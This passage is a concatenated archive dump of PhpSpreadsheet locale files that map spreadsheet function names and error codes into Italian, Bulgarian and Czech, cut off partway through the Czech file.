GIORNI.LAVORATIVI.TOT.INTL NOW = ADESSO SECOND = SECONDO THAIDAYOFWEEK = THAIGIORNODELLASETTIMANA THAIMONTHOFYEAR = THAIMESEDELLANNO THAIYEAR = THAIANNO TIME = ORARIO TIMEVALUE = ORARIO.VALORE TODAY = OGGI WEEKDAY = GIORNO.SETTIMANA WEEKNUM = NUM.SETTIMANA WORKDAY = GIORNO.LAVORATIVO WORKDAY.INTL = GIORNO.LAVORATIVO.INTL YEAR = ANNO YEARFRAC = FRAZIONE.ANNO ## ## Funzioni ingegneristiche (Engineering Functions) ## BESSELI = BESSEL.I BESSELJ = BESSEL.J BESSELK = BESSEL.K BESSELY = BESSEL.Y BIN2DEC = BINARIO.DECIMALE BIN2HEX = BINARIO.HEX BIN2OCT = BINARIO.OCT BITAND = BITAND BITLSHIFT = BIT.SPOSTA.SX BITOR = BITOR BITRSHIFT = BIT.SPOSTA.DX BITXOR = BITXOR COMPLEX = COMPLESSO CONVERT = CONVERTI DEC2BIN = DECIMALE.BINARIO DEC2HEX = DECIMALE.HEX DEC2OCT = DECIMALE.OCT DELTA = DELTA ERF = FUNZ.ERRORE ERF.PRECISE = FUNZ.ERRORE.PRECISA ERFC = FUNZ.ERRORE.COMP ERFC.PRECISE = FUNZ.ERRORE.COMP.PRECISA GESTEP = SOGLIA HEX2BIN = HEX.BINARIO HEX2DEC = HEX.DECIMALE HEX2OCT = HEX.OCT IMABS = COMP.MODULO IMAGINARY = COMP.IMMAGINARIO IMARGUMENT = COMP.ARGOMENTO IMCONJUGATE = COMP.CONIUGATO IMCOS = COMP.COS IMCOSH = COMP.COSH IMCOT = COMP.COT IMCSC = COMP.CSC IMCSCH = COMP.CSCH IMDIV = COMP.DIV IMEXP = COMP.EXP IMLN = COMP.LN IMLOG10 = COMP.LOG10 IMLOG2 = COMP.LOG2 IMPOWER = COMP.POTENZA IMPRODUCT = COMP.PRODOTTO IMREAL = COMP.PARTE.REALE IMSEC = COMP.SEC IMSECH = COMP.SECH IMSIN = COMP.SEN IMSINH = COMP.SENH IMSQRT = COMP.RADQ IMSUB = COMP.DIFF IMSUM = COMP.SOMMA IMTAN = COMP.TAN OCT2BIN = OCT.BINARIO OCT2DEC = OCT.DECIMALE OCT2HEX = OCT.HEX ## ## Funzioni finanziarie (Financial Functions) ## ACCRINT = INT.MATURATO.PER ACCRINTM = INT.MATURATO.SCAD AMORDEGRC = AMMORT.DEGR AMORLINC = AMMORT.PER COUPDAYBS = GIORNI.CED.INIZ.LIQ COUPDAYS = GIORNI.CED COUPDAYSNC = GIORNI.CED.NUOVA COUPNCD = DATA.CED.SUCC COUPNUM = NUM.CED COUPPCD = DATA.CED.PREC CUMIPMT = INT.CUMUL CUMPRINC = CAP.CUM DB = AMMORT.FISSO DDB = AMMORT DISC = TASSO.SCONTO DOLLARDE = VALUTA.DEC DOLLARFR = VALUTA.FRAZ DURATION = DURATA EFFECT = EFFETTIVO FV = VAL.FUT FVSCHEDULE = VAL.FUT.CAPITALE INTRATE = TASSO.INT IPMT = INTERESSI IRR = TIR.COST ISPMT = INTERESSE.RATA MDURATION = DURATA.M MIRR = TIR.VAR NOMINAL = NOMINALE NPER = NUM.RATE NPV = VAN ODDFPRICE = PREZZO.PRIMO.IRR ODDFYIELD = REND.PRIMO.IRR ODDLPRICE = PREZZO.ULTIMO.IRR ODDLYIELD = REND.ULTIMO.IRR PDURATION = DURATA.P PMT = RATA PPMT = P.RATA PRICE = PREZZO PRICEDISC = PREZZO.SCONT PRICEMAT = PREZZO.SCAD PV = VA RATE = TASSO RECEIVED = RICEV.SCAD RRI = RIT.INVEST.EFFETT SLN = AMMORT.COST SYD = AMMORT.ANNUO TBILLEQ = BOT.EQUIV TBILLPRICE = BOT.PREZZO TBILLYIELD = BOT.REND VDB = AMMORT.VAR XIRR = TIR.X XNPV = VAN.X YIELD = REND YIELDDISC = REND.TITOLI.SCONT YIELDMAT = REND.SCAD ## ## Funzioni relative alle informazioni (Information Functions) ## CELL = CELLA ERROR.TYPE = ERRORE.TIPO INFO = AMBIENTE.INFO ISBLANK = VAL.VUOTO ISERR = VAL.ERR ISERROR = VAL.ERRORE ISEVEN = VAL.PARI ISFORMULA = VAL.FORMULA ISLOGICAL = VAL.LOGICO ISNA = VAL.NON.DISP ISNONTEXT = VAL.NON.TESTO ISNUMBER = VAL.NUMERO ISODD = VAL.DISPARI ISREF = VAL.RIF ISTEXT = VAL.TESTO N = NUM NA = NON.DISP SHEET = FOGLIO SHEETS = FOGLI TYPE = TIPO ## ## Funzioni logiche (Logical Functions) ## AND = E FALSE = FALSO IF = SE IFERROR = SE.ERRORE IFNA = SE.NON.DISP. IFS = PIÙ.SE NOT = NON OR = O SWITCH = SWITCH TRUE = VERO XOR = XOR ## ## Funzioni di ricerca e di riferimento (Lookup & Reference Functions) ## ADDRESS = INDIRIZZO AREAS = AREE CHOOSE = SCEGLI COLUMN = RIF.COLONNA COLUMNS = COLONNE FORMULATEXT = TESTO.FORMULA GETPIVOTDATA = INFO.DATI.TAB.PIVOT HLOOKUP = CERCA.ORIZZ HYPERLINK = COLLEG.IPERTESTUALE INDEX = INDICE INDIRECT = INDIRETTO LOOKUP = CERCA MATCH = CONFRONTA OFFSET = SCARTO ROW = RIF.RIGA ROWS = RIGHE RTD = DATITEMPOREALE TRANSPOSE = MATR.TRASPOSTA VLOOKUP = CERCA.VERT ## ## Funzioni matematiche e trigonometriche (Math & Trig Functions) ## ABS = ASS ACOS = ARCCOS ACOSH = ARCCOSH ACOT = ARCCOT ACOTH = ARCCOTH AGGREGATE = AGGREGA ARABIC = ARABO ASIN = ARCSEN ASINH = ARCSENH ATAN = ARCTAN ATAN2 = ARCTAN.2 ATANH = ARCTANH BASE = BASE CEILING.MATH = ARROTONDA.ECCESSO.MAT CEILING.PRECISE = ARROTONDA.ECCESSO.PRECISA COMBIN = COMBINAZIONE COMBINA = COMBINAZIONE.VALORI COS = COS COSH = COSH COT = COT COTH = COTH CSC = CSC CSCH = CSCH DECIMAL = DECIMALE DEGREES = GRADI ECMA.CEILING = ECMA.ARROTONDA.ECCESSO EVEN = PARI EXP = EXP FACT = FATTORIALE FACTDOUBLE = FATT.DOPPIO FLOOR.MATH = ARROTONDA.DIFETTO.MAT FLOOR.PRECISE = ARROTONDA.DIFETTO.PRECISA GCD = MCD INT = INT ISO.CEILING = ISO.ARROTONDA.ECCESSO LCM = MCM LN = LN LOG = LOG LOG10 = LOG10 MDETERM = MATR.DETERM MINVERSE = MATR.INVERSA MMULT = MATR.PRODOTTO MOD = RESTO MROUND = ARROTONDA.MULTIPLO MULTINOMIAL = MULTINOMIALE MUNIT = MATR.UNIT ODD = DISPARI PI = PI.GRECO POWER = POTENZA PRODUCT = PRODOTTO QUOTIENT = QUOZIENTE RADIANS = RADIANTI RAND = CASUALE RANDBETWEEN = CASUALE.TRA ROMAN = ROMANO ROUND = ARROTONDA ROUNDBAHTDOWN = ARROTBAHTGIU ROUNDBAHTUP = ARROTBAHTSU ROUNDDOWN = ARROTONDA.PER.DIF ROUNDUP = ARROTONDA.PER.ECC SEC = SEC SECH = SECH SERIESSUM = SOMMA.SERIE SIGN = SEGNO SIN = SEN SINH = SENH SQRT = RADQ SQRTPI = RADQ.PI.GRECO SUBTOTAL = SUBTOTALE SUM = SOMMA SUMIF = SOMMA.SE SUMIFS = SOMMA.PIÙ.SE SUMPRODUCT = MATR.SOMMA.PRODOTTO SUMSQ = SOMMA.Q SUMX2MY2 = SOMMA.DIFF.Q SUMX2PY2 = SOMMA.SOMMA.Q SUMXMY2 = SOMMA.Q.DIFF TAN = TAN TANH = TANH TRUNC = TRONCA ## ## Funzioni statistiche (Statistical Functions) ## AVEDEV = MEDIA.DEV AVERAGE = MEDIA AVERAGEA = MEDIA.VALORI AVERAGEIF = MEDIA.SE AVERAGEIFS = MEDIA.PIÙ.SE BETA.DIST = DISTRIB.BETA.N BETA.INV = INV.BETA.N BINOM.DIST = DISTRIB.BINOM.N BINOM.DIST.RANGE = INTERVALLO.DISTRIB.BINOM.N. BINOM.INV = INV.BINOM CHISQ.DIST = DISTRIB.CHI.QUAD CHISQ.DIST.RT = DISTRIB.CHI.QUAD.DS CHISQ.INV = INV.CHI.QUAD CHISQ.INV.RT = INV.CHI.QUAD.DS CHISQ.TEST = TEST.CHI.QUAD CONFIDENCE.NORM = CONFIDENZA.NORM CONFIDENCE.T = CONFIDENZA.T CORREL = CORRELAZIONE COUNT = CONTA.NUMERI COUNTA = CONTA.VALORI COUNTBLANK = CONTA.VUOTE COUNTIF = CONTA.SE COUNTIFS = CONTA.PIÙ.SE COVARIANCE.P = COVARIANZA.P COVARIANCE.S = COVARIANZA.C DEVSQ = DEV.Q EXPON.DIST = DISTRIB.EXP.N F.DIST = DISTRIBF F.DIST.RT = DISTRIB.F.DS F.INV = INVF F.INV.RT = INV.F.DS F.TEST = TESTF FISHER = FISHER FISHERINV = INV.FISHER FORECAST.ETS = PREVISIONE.ETS FORECAST.ETS.CONFINT = PREVISIONE.ETS.INTCONF FORECAST.ETS.SEASONALITY = PREVISIONE.ETS.STAGIONALITÀ FORECAST.ETS.STAT = PREVISIONE.ETS.STAT FORECAST.LINEAR = PREVISIONE.LINEARE FREQUENCY = FREQUENZA GAMMA = GAMMA GAMMA.DIST = DISTRIB.GAMMA.N GAMMA.INV = INV.GAMMA.N GAMMALN = LN.GAMMA GAMMALN.PRECISE = LN.GAMMA.PRECISA GAUSS = GAUSS GEOMEAN = MEDIA.GEOMETRICA GROWTH = CRESCITA HARMEAN = MEDIA.ARMONICA HYPGEOM.DIST = DISTRIB.IPERGEOM.N INTERCEPT = INTERCETTA KURT = CURTOSI LARGE = GRANDE LINEST = REGR.LIN LOGEST = REGR.LOG LOGNORM.DIST = DISTRIB.LOGNORM.N LOGNORM.INV = INV.LOGNORM.N MAX = MAX MAXA = MAX.VALORI MAXIFS = MAX.PIÙ.SE MEDIAN = MEDIANA MIN = MIN MINA = MIN.VALORI MINIFS = MIN.PIÙ.SE MODE.MULT = MODA.MULT MODE.SNGL = MODA.SNGL NEGBINOM.DIST = DISTRIB.BINOM.NEG.N NORM.DIST = DISTRIB.NORM.N NORM.INV = INV.NORM.N NORM.S.DIST = DISTRIB.NORM.ST.N NORM.S.INV = INV.NORM.S PEARSON = PEARSON PERCENTILE.EXC = ESC.PERCENTILE PERCENTILE.INC = INC.PERCENTILE PERCENTRANK.EXC = ESC.PERCENT.RANGO PERCENTRANK.INC = INC.PERCENT.RANGO PERMUT = PERMUTAZIONE PERMUTATIONA = PERMUTAZIONE.VALORI PHI = PHI POISSON.DIST = DISTRIB.POISSON PROB = PROBABILITÀ QUARTILE.EXC = ESC.QUARTILE QUARTILE.INC = INC.QUARTILE RANK.AVG = RANGO.MEDIA RANK.EQ = RANGO.UG RSQ = RQ SKEW = ASIMMETRIA SKEW.P = ASIMMETRIA.P SLOPE = PENDENZA SMALL = PICCOLO STANDARDIZE = NORMALIZZA STDEV.P = DEV.ST.P STDEV.S = DEV.ST.C STDEVA = DEV.ST.VALORI STDEVPA = DEV.ST.POP.VALORI STEYX = ERR.STD.YX T.DIST = DISTRIB.T.N T.DIST.2T = DISTRIB.T.2T T.DIST.RT = DISTRIB.T.DS T.INV = INVT T.INV.2T = INV.T.2T T.TEST = TESTT TREND = TENDENZA TRIMMEAN = MEDIA.TRONCATA VAR.P = VAR.P VAR.S = VAR.C VARA = VAR.VALORI VARPA = VAR.POP.VALORI WEIBULL.DIST = DISTRIB.WEIBULL Z.TEST = TESTZ ## ## Funzioni di testo (Text Functions) ## BAHTTEXT = BAHTTESTO CHAR = CODICE.CARATT CLEAN = LIBERA CODE = CODICE CONCAT = CONCAT DOLLAR = VALUTA EXACT = IDENTICO FIND = TROVA FIXED = FISSO ISTHAIDIGIT = ÈTHAICIFRA LEFT = SINISTRA LEN = LUNGHEZZA LOWER = MINUSC MID = STRINGA.ESTRAI NUMBERSTRING = NUMERO.STRINGA NUMBERVALUE = NUMERO.VALORE PHONETIC = FURIGANA PROPER = MAIUSC.INIZ REPLACE = RIMPIAZZA REPT = RIPETI RIGHT = DESTRA SEARCH = RICERCA SUBSTITUTE = SOSTITUISCI T = T TEXT = TESTO TEXTJOIN = TESTO.UNISCI THAIDIGIT = THAICIFRA THAINUMSOUND = THAINUMSUONO THAINUMSTRING = THAISZÁMKAR THAISTRINGLENGTH = THAILUNGSTRINGA TRIM = ANNULLA.SPAZI UNICHAR = CARATT.UNI UNICODE = UNICODE UPPER = MAIUSC VALUE = VALORE ## ## Funzioni Web (Web Functions) ## ENCODEURL = CODIFICA.URL FILTERXML = FILTRO.XML WEBSERVICE = SERVIZIO.WEB ## ## Funzioni di compatibilità (Compatibility Functions) ## BETADIST = DISTRIB.BETA BETAINV = INV.BETA BINOMDIST = DISTRIB.BINOM CEILING = ARROTONDA.ECCESSO CHIDIST = DISTRIB.CHI CHIINV = INV.CHI CHITEST = TEST.CHI CONCATENATE = CONCATENA CONFIDENCE = CONFIDENZA COVAR = COVARIANZA CRITBINOM = CRIT.BINOM EXPONDIST = DISTRIB.EXP FDIST = DISTRIB.F FINV = INV.F FLOOR = ARROTONDA.DIFETTO FORECAST = PREVISIONE FTEST = TEST.F GAMMADIST = DISTRIB.GAMMA GAMMAINV = INV.GAMMA HYPGEOMDIST = DISTRIB.IPERGEOM LOGINV = INV.LOGNORM LOGNORMDIST = DISTRIB.LOGNORM MODE = MODA NEGBINOMDIST = DISTRIB.BINOM.NEG NORMDIST = DISTRIB.NORM NORMINV = INV.NORM NORMSDIST = DISTRIB.NORM.ST NORMSINV = INV.NORM.ST PERCENTILE = PERCENTILE PERCENTRANK = PERCENT.RANGO POISSON = POISSON QUARTILE = QUARTILE RANK = RANGO STDEV = DEV.ST STDEVP = DEV.ST.POP TDIST = DISTRIB.T TINV = INV.T TTEST = TEST.T VAR = VAR VARP = VAR.POP WEIBULL = WEIBULL ZTEST = TEST.Z phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/it/config000064400000000455151676714400022554 0ustar00############################################################ ## ## PhpSpreadsheet - locale settings ## ## Italiano (Italian) ## ############################################################ ArgumentSeparator = ; ## ## Error Codes ## NULL DIV0 VALUE = #VALORE! REF = #RIF! NAME = #NOME? NUM NA = #N/D phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/bg/functions000064400000022470151676714400023274 0ustar00############################################################ ## ## PhpSpreadsheet - function name translations ## ## български (Bulgarian) ## ############################################################ ## ## Функции Куб (Cube Functions) ## CUBEKPIMEMBER = КУБЭЛЕМЕНТКИП CUBEMEMBER = КУБЭЛЕМЕНТ CUBEMEMBERPROPERTY = КУБСВОЙСТВОЭЛЕМЕНТА CUBERANKEDMEMBER = КУБПОРЭЛЕМЕНТ CUBESET = КУБМНОЖ CUBESETCOUNT = КУБЧИСЛОЭЛМНОЖ CUBEVALUE = КУБЗНАЧЕНИЕ ## ## Функции для работы с базами данных (Database Functions) ## DAVERAGE = ДСРЗНАЧ DCOUNT = БСЧЁТ DCOUNTA = БСЧЁТА DGET = БИЗВЛЕЧЬ DMAX = ДМАКС DMIN = ДМИН DPRODUCT = БДПРОИЗВЕД DSTDEV = ДСТАНДОТКЛ DSTDEVP = ДСТАНДОТКЛП DSUM = БДСУММ DVAR = БДДИСП DVARP = БДДИСПП ## ## Функции даты и времени (Date & Time Functions) ## DATE = ДАТА DATEVALUE = ДАТАЗНАЧ DAY = ДЕНЬ DAYS360 = ДНЕЙ360 EDATE = ДАТАМЕС EOMONTH = КОНМЕСЯЦА HOUR = ЧАС MINUTE = МИНУТЫ MONTH = МЕСЯЦ NETWORKDAYS = ЧИСТРАБДНИ NOW = ТДАТА SECOND = СЕКУНДЫ TIME = ВРЕМЯ TIMEVALUE = ВРЕМЗНАЧ TODAY = СЕГОДНЯ WEEKDAY = ДЕНЬНЕД WEEKNUM = НОМНЕДЕЛИ WORKDAY = РАБДЕНЬ YEAR = ГОД YEARFRAC = ДОЛЯГОДА ## ## Инженерные функции (Engineering Functions) ## BESSELI = БЕССЕЛЬ.I BESSELJ = БЕССЕЛЬ.J BESSELK = БЕССЕЛЬ.K BESSELY = БЕССЕЛЬ.Y BIN2DEC = ДВ.В.ДЕС BIN2HEX = ДВ.В.ШЕСТН BIN2OCT = ДВ.В.ВОСЬМ COMPLEX = КОМПЛЕКСН CONVERT = ПРЕОБР DEC2BIN = ДЕС.В.ДВ DEC2HEX = ДЕС.В.ШЕСТН DEC2OCT = ДЕС.В.ВОСЬМ DELTA = ДЕЛЬТА ERF = ФОШ ERFC = ДФОШ GESTEP = ПОРОГ HEX2BIN = ШЕСТН.В.ДВ HEX2DEC = ШЕСТН.В.ДЕС HEX2OCT = ШЕСТН.В.ВОСЬМ IMABS = МНИМ.ABS IMAGINARY = МНИМ.ЧАСТЬ IMARGUMENT = МНИМ.АРГУМЕНТ IMCONJUGATE = МНИМ.СОПРЯЖ IMCOS = МНИМ.COS IMDIV = МНИМ.ДЕЛ IMEXP = МНИМ.EXP IMLN = МНИМ.LN IMLOG10 = МНИМ.LOG10 IMLOG2 = МНИМ.LOG2 IMPOWER = МНИМ.СТЕПЕНЬ IMPRODUCT = МНИМ.ПРОИЗВЕД IMREAL = МНИМ.ВЕЩ IMSIN = МНИМ.SIN IMSQRT = МНИМ.КОРЕНЬ IMSUB = МНИМ.РАЗН IMSUM = МНИМ.СУММ OCT2BIN = ВОСЬМ.В.ДВ OCT2DEC = ВОСЬМ.В.ДЕС OCT2HEX = ВОСЬМ.В.ШЕСТН ## ## Финансовые функции (Financial Functions) ## ACCRINT = НАКОПДОХОД ACCRINTM = НАКОПДОХОДПОГАШ AMORDEGRC = АМОРУМ AMORLINC = АМОРУВ COUPDAYBS = ДНЕЙКУПОНДО COUPDAYS = ДНЕЙКУПОН COUPDAYSNC = ДНЕЙКУПОНПОСЛЕ COUPNCD = ДАТАКУПОНПОСЛЕ COUPNUM = ЧИСЛКУПОН COUPPCD = ДАТАКУПОНДО CUMIPMT = ОБЩПЛАТ CUMPRINC = ОБЩДОХОД DB = ФУО DDB = ДДОБ DISC = СКИДКА DOLLARDE = РУБЛЬ.ДЕС DOLLARFR = РУБЛЬ.ДРОБЬ DURATION = ДЛИТ EFFECT = ЭФФЕКТ FV = БС FVSCHEDULE = БЗРАСПИС INTRATE = ИНОРМА IPMT = ПРПЛТ IRR = ВСД ISPMT = ПРОЦПЛАТ MDURATION = МДЛИТ MIRR = МВСД NOMINAL = НОМИНАЛ NPER = КПЕР NPV = ЧПС ODDFPRICE = ЦЕНАПЕРВНЕРЕГ ODDFYIELD = ДОХОДПЕРВНЕРЕГ ODDLPRICE = ЦЕНАПОСЛНЕРЕГ ODDLYIELD = ДОХОДПОСЛНЕРЕГ PMT = ПЛТ PPMT = ОСПЛТ PRICE = ЦЕНА PRICEDISC = ЦЕНАСКИДКА PRICEMAT = ЦЕНАПОГАШ PV = ПС RATE = СТАВКА RECEIVED = ПОЛУЧЕНО SLN = АПЛ SYD = АСЧ TBILLEQ = РАВНОКЧЕК TBILLPRICE = ЦЕНАКЧЕК TBILLYIELD = ДОХОДКЧЕК VDB = ПУО XIRR = ЧИСТВНДОХ XNPV = ЧИСТНЗ YIELD = ДОХОД YIELDDISC = ДОХОДСКИДКА YIELDMAT = ДОХОДПОГАШ ## ## Информационные функции (Information Functions) ## CELL = ЯЧЕЙКА ERROR.TYPE = ТИП.ОШИБКИ INFO = ИНФОРМ ISBLANK = ЕПУСТО ISERR = ЕОШ ISERROR = ЕОШИБКА ISEVEN = ЕЧЁТН ISLOGICAL = ЕЛОГИЧ ISNA = ЕНД ISNONTEXT = ЕНЕТЕКСТ ISNUMBER = ЕЧИСЛО ISODD = ЕНЕЧЁТ ISREF = ЕССЫЛКА ISTEXT = ЕТЕКСТ N = Ч NA = НД TYPE = ТИП ## ## Логические функции (Logical Functions) ## AND = И FALSE = ЛОЖЬ IF = ЕСЛИ IFERROR = ЕСЛИОШИБКА NOT = НЕ OR = ИЛИ TRUE = ИСТИНА ## ## Функции ссылки и поиска (Lookup & Reference Functions) ## ADDRESS = АДРЕС AREAS = ОБЛАСТИ CHOOSE = ВЫБОР COLUMN = СТОЛБЕЦ COLUMNS = ЧИСЛСТОЛБ GETPIVOTDATA = ПОЛУЧИТЬ.ДАННЫЕ.СВОДНОЙ.ТАБЛИЦЫ HLOOKUP = ГПР HYPERLINK = ГИПЕРССЫЛКА INDEX = ИНДЕКС INDIRECT = ДВССЫЛ LOOKUP = ПРОСМОТР MATCH = ПОИСКПОЗ OFFSET = СМЕЩ ROW = СТРОКА ROWS = ЧСТРОК RTD = ДРВ TRANSPOSE = ТРАНСП VLOOKUP = ВПР ## ## Математические и тригонометрические функции (Math & Trig Functions) ## ABS = ABS ACOS = ACOS ACOSH = ACOSH ASIN = ASIN ASINH = ASINH ATAN = ATAN ATAN2 = ATAN2 ATANH = ATANH COMBIN = ЧИСЛКОМБ COS = COS COSH = COSH DEGREES = ГРАДУСЫ EVEN = ЧЁТН EXP = EXP FACT = ФАКТР FACTDOUBLE = ДВФАКТР GCD = НОД INT = ЦЕЛОЕ LCM = НОК LN = LN LOG = LOG LOG10 = LOG10 MDETERM = МОПРЕД MINVERSE = МОБР MMULT = МУМНОЖ MOD = ОСТАТ MROUND = ОКРУГЛТ MULTINOMIAL = МУЛЬТИНОМ ODD = НЕЧЁТ PI = ПИ POWER = СТЕПЕНЬ PRODUCT = ПРОИЗВЕД QUOTIENT = ЧАСТНОЕ RADIANS = РАДИАНЫ RAND = СЛЧИС RANDBETWEEN = СЛУЧМЕЖДУ ROMAN = РИМСКОЕ ROUND = ОКРУГЛ ROUNDDOWN = ОКРУГЛВНИЗ ROUNDUP = ОКРУГЛВВЕРХ SERIESSUM = РЯД.СУММ SIGN = ЗНАК SIN = SIN SINH = SINH SQRT = КОРЕНЬ SQRTPI = КОРЕНЬПИ SUBTOTAL = ПРОМЕЖУТОЧНЫЕ.ИТОГИ SUM = СУММ SUMIF = СУММЕСЛИ SUMIFS = СУММЕСЛИМН SUMPRODUCT = СУММПРОИЗВ SUMSQ = СУММКВ SUMX2MY2 = СУММРАЗНКВ SUMX2PY2 = СУММСУММКВ SUMXMY2 = СУММКВРАЗН TAN = TAN TANH = TANH TRUNC = ОТБР ## ## Статистические функции (Statistical Functions) ## AVEDEV = СРОТКЛ AVERAGE = СРЗНАЧ AVERAGEA = СРЗНАЧА AVERAGEIF = СРЗНАЧЕСЛИ AVERAGEIFS = СРЗНАЧЕСЛИМН CORREL = КОРРЕЛ COUNT = СЧЁТ COUNTA = СЧЁТЗ COUNTBLANK = СЧИТАТЬПУСТОТЫ COUNTIF = СЧЁТЕСЛИ COUNTIFS = СЧЁТЕСЛИМН DEVSQ = КВАДРОТКЛ FISHER = ФИШЕР FISHERINV = ФИШЕРОБР FREQUENCY = ЧАСТОТА GAMMALN = ГАММАНЛОГ GEOMEAN = СРГЕОМ GROWTH = РОСТ HARMEAN = СРГАРМ INTERCEPT = ОТРЕЗОК KURT = ЭКСЦЕСС LARGE = НАИБОЛЬШИЙ LINEST = ЛИНЕЙН LOGEST = ЛГРФПРИБЛ MAX = МАКС MAXA = МАКСА MEDIAN = МЕДИАНА MIN = МИН MINA = МИНА PEARSON = ПИРСОН PERMUT = ПЕРЕСТ PROB = ВЕРОЯТНОСТЬ RSQ = КВПИРСОН SKEW = СКОС SLOPE = НАКЛОН SMALL = НАИМЕНЬШИЙ STANDARDIZE = НОРМАЛИЗАЦИЯ STDEVA = СТАНДОТКЛОНА STDEVPA = СТАНДОТКЛОНПА STEYX = СТОШYX TREND = ТЕНДЕНЦИЯ TRIMMEAN = УРЕЗСРЕДНЕЕ VARA = ДИСПА VARPA = ДИСПРА ## ## Текстовые функции (Text Functions) ## ASC = ASC BAHTTEXT = БАТТЕКСТ CHAR = СИМВОЛ CLEAN = ПЕЧСИМВ CODE = КОДСИМВ DOLLAR = РУБЛЬ EXACT = СОВПАД FIND = НАЙТИ FINDB = НАЙТИБ FIXED = ФИКСИРОВАННЫЙ LEFT = ЛЕВСИМВ LEFTB = ЛЕВБ LEN = ДЛСТР LENB = ДЛИНБ LOWER = СТРОЧН MID = ПСТР MIDB = ПСТРБ PHONETIC = PHONETIC PROPER = ПРОПНАЧ REPLACE = ЗАМЕНИТЬ REPLACEB = ЗАМЕНИТЬБ REPT = ПОВТОР RIGHT = ПРАВСИМВ RIGHTB = ПРАВБ SEARCH = ПОИСК SEARCHB = ПОИСКБ SUBSTITUTE = ПОДСТАВИТЬ T = Т TEXT = ТЕКСТ TRIM = СЖПРОБЕЛЫ UPPER = ПРОПИСН VALUE = ЗНАЧЕН ## ## (Web Functions) ## ## ## (Compatibility Functions) ## BETADIST = БЕТАРАСП BETAINV = БЕТАОБР BINOMDIST = БИНОМРАСП CEILING = ОКРВВЕРХ CHIDIST = ХИ2РАСП CHIINV = ХИ2ОБР CHITEST = ХИ2ТЕСТ CONCATENATE = СЦЕПИТЬ CONFIDENCE = ДОВЕРИТ COVAR = КОВАР CRITBINOM = КРИТБИНОМ EXPONDIST = ЭКСПРАСП FDIST = FРАСП FINV = FРАСПОБР FLOOR = ОКРВНИЗ FORECAST = ПРЕДСКАЗ FTEST = ФТЕСТ GAMMADIST = ГАММАРАСП GAMMAINV = ГАММАОБР HYPGEOMDIST = ГИПЕРГЕОМЕТ LOGINV = ЛОГНОРМОБР LOGNORMDIST = ЛОГНОРМРАСП MODE = МОДА NEGBINOMDIST = ОТРБИНОМРАСП NORMDIST = НОРМРАСП NORMINV = НОРМОБР NORMSDIST = НОРМСТРАСП NORMSINV = НОРМСТОБР PERCENTILE = ПЕРСЕНТИЛЬ PERCENTRANK = ПРОЦЕНТРАНГ POISSON = ПУАССОН QUARTILE = КВАРТИЛЬ RANK = РАНГ STDEV = СТАНДОТКЛОН STDEVP = СТАНДОТКЛОНП TDIST = СТЬЮДРАСП TINV = СТЬЮДРАСПОБР TTEST = ТТЕСТ VAR = ДИСП VARP = ДИСПР WEIBULL = ВЕЙБУЛЛ ZTEST = ZТЕСТ phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/bg/config000064400000000650151676714400022525 0ustar00############################################################ ## ## PhpSpreadsheet - locale settings ## ## български (Bulgarian) ## ############################################################ ArgumentSeparator = ; ## ## (For future use) ## currencySymbol = лв ## ## Error Codes ## NULL = #ПРАЗНО! DIV0 = #ДЕЛ/0! VALUE = #СТОЙНОСТ! REF = #РЕФ! NAME = #ИМЕ? NUM = #ЧИСЛО! NA = #Н/Д phpoffice/phpspreadsheet/src/PhpSpreadsheet/Calculation/locale/cs/functions000064400000022455151676714400023314 0ustar00############################################################ ## ## PhpSpreadsheet - function name translations ## ## Ceština (Czech) ## ############################################################ ## ## Funkce pro práci s datovými krychlemi (Cube Functions) ## CUBEKPIMEMBER = CUBEKPIMEMBER CUBEMEMBER = CUBEMEMBER CUBEMEMBERPROPERTY = CUBEMEMBERPROPERTY CUBERANKEDMEMBER = CUBERANKEDMEMBER CUBESET = CUBESET CUBESETCOUNT = CUBESETCOUNT CUBEVALUE = CUBEVALUE ## ## Funkce databáze (Database Functions) ## DAVERAGE = DPRŮMĚR DCOUNT = DPOČET DCOUNTA = DPOČET2 DGET = DZÍSKAT DMAX = DMAX DMIN = DMIN DPRODUCT = DSOUČIN DSTDEV = DSMODCH.VÝBĚR DSTDEVP = DSMODCH DSUM = DSUMA DVAR = DVAR.VÝBĚR DVARP = DVAR ## ## Funkce data a času (Date & Time Functions) ## DATE = DATUM DATEVALUE = DATUMHODN DAY = DEN DAYS = DAYS DAYS360 = ROK360 EDATE = EDATE EOMONTH = EOMONTH HOUR = HODINA ISOWEEKNUM = ISOWEEKNUM MINUTE = MINUTA MONTH = MĚSÍC NETWORKDAYS = NETWORKDAYS NETWORKDAYS.INTL = NETWORKDAYS.INTL NOW = NYNÍ SECOND = SEKUNDA TIME = ČAS TIMEVALUE = ČASHODN TODAY = DNES WEEKDAY = DENTÝDNE WEEKNUM = WEEKNUM WORKDAY = WORKDAY WORKDAY.INTL = WORKDAY.INTL YEAR = ROK YEARFRAC = YEARFRAC ## ## Inženýrské funkce (Engineering Functions) ## BESSELI = BESSELI BESSELJ = BESSELJ BESSELK = BESSELK BESSELY = BESSELY BIN2DEC = BIN2DEC BIN2HEX = BIN2HEX BIN2OCT = BIN2OCT BITAND = BITAND BITLSHIFT = BITLSHIFT BITOR = BITOR BITRSHIFT = BITRSHIFT BITXOR = BITXOR COMPLEX = COMPLEX CONVERT = CONVERT DEC2BIN = DEC2BIN DEC2HEX = DEC2HEX DEC2OCT = DEC2OCT DELTA = DELTA ERF = ERF ERF.PRECISE = ERF.PRECISE ERFC = ERFC ERFC.PRECISE = ERFC.PRECISE GESTEP = GESTEP HEX2BIN = HEX2BIN HEX2DEC = HEX2DEC HEX2OCT = HEX2OCT IMABS = IMABS IMAGINARY = IMAGINARY IMARGUMENT = IMARGUMENT IMCONJUGATE = IMCONJUGATE IMCOS = IMCOS IMCOSH = IMCOSH IMCOT = IMCOT IMCSC = IMCSC IMCSCH = IMCSCH IMDIV = IMDIV IMEXP = IMEXP IMLN = IMLN IMLOG10 = IMLOG10 IMLOG2 = IMLOG2 IMPOWER = IMPOWER IMPRODUCT = IMPRODUCT IMREAL = IMREAL IMSEC = IMSEC IMSECH = IMSECH IMSIN = IMSIN IMSINH = IMSINH IMSQRT = IMSQRT IMSUB = IMSUB IMSUM = IMSUM IMTAN = IMTAN OCT2BIN = OCT2BIN OCT2DEC = OCT2DEC OCT2HEX = OCT2HEX ## ## Finanční funkce (Financial Functions) ## ACCRINT = ACCRINT ACCRINTM = ACCRINTM AMORDEGRC = AMORDEGRC 